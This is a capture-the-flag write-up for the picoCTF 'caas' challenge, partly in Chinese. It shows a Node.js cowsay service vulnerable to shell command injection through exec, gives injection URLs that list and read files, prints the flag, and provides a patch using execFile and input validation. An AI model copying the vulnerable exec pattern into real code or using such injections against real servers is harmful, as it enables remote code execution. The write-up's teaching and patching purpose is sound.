picoCTF: caas Writeup & Patch
picoCTF: caas Writeup & Patch
Table of Contents
[TOC]
Topic
Lab
picoCTF:
https://play.picoctf.org/practice/challenge/202?category=1&page=1&search=caas
Initial Enumeration
●Start Machine:
https://caas.mars.picoctf.net/

Solution
1. Attempt
https://caas.mars.picoctf.net/cowsay/chw

2. Code Review
index.js
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
- express 伺服器框架
- exec 使用 child_process 執行命令
- {req.params.message} 直接丟進Shell 執行
- Err 回應 500
3. Command Injection
; 用分號閉合req.params.message,接著注入指令
https://caas.mars.picoctf.net/cowsay/chw;%20ls

_____
< chw >
-----
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock
成功 RCE
開啟falg.txt
4. Get Flag
https://caas.mars.picoctf.net/cowsay/chw;%20cat%20f*

FLAG: picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
Vulnerability causes
在執行 cowsay command,會進到:
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) =>
user payload 沒有經過驗證或參數化,直接進到 ${req.params.message}
exec function 會直接透過 shell 來執行
既然能夠直接透過 shell 執行, 就能使用;、&&、|閉合前面指令
- 依照上面writeup: 在 shell 中,payload 會被解讀成兩個指令:
- $ /usr/games/cowsay chw
- $ ls (or cat f*)
Patch
參數化後,使用正規表達式:
const express = require('express');
const app = express();
const { execFile } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
const message = req.params.message;
if (/^[a-zA-Z0-9 .,?!-]+$/.test(message)) {
execFile('/usr/games/cowsay', [message], {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
} else {
res.status(400).send('Invalid input').end();
}
});
app.listen(3000, () => {
console.log('listening');
});
- 將 req.params.message 參數化: message
- 參數 message 需符合正規表達式:
^[a-zA-Z0-9 .,?!-]+$
只會包含字母、數字和基本標點符號- execFile 取代 exec
exec: 直接透過 shell 執行指令,可以執行任何 shell command
execFile: 執行具體的可執行文件 (ex. message),不會透過 shell